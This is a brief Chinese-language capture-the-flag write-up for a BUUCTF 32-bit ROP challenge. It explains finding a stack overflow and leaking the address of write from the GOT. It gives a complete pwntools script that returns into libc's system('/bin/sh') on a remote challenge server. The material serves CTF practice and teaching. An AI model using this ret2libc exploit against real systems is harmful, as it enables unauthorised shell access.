BUUCTF—铁人三项(第五赛区)_2018_rop
先看看开了什么保护机制
打开32位ida看看
去看看be_nice_to_people函数
可以去百度一下这两个函数,反正没啥用
再去看看vulnerable_function函数
一个栈溢出,可以的,去看看后门函数有木有
得,别说后门函数了,system和/bin/sh也没有,没开地址随机化,那就是的libc泄露了
32位libc地址泄露的话是4字节,所以脚本注意下就行了
from pwn import*
p=remote('node4.buuoj.cn',29374)
elf=ELF('./rop')
write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x080484c6
payload=b'a'*0x8c+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(0x20)
p.sendline(payload)
write_add=u32(p.recv(4))
print(hex(write_add))
system=write_add-0xa89e0
binsh=write_add+0x961df
payload=b'a'*0x8c+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()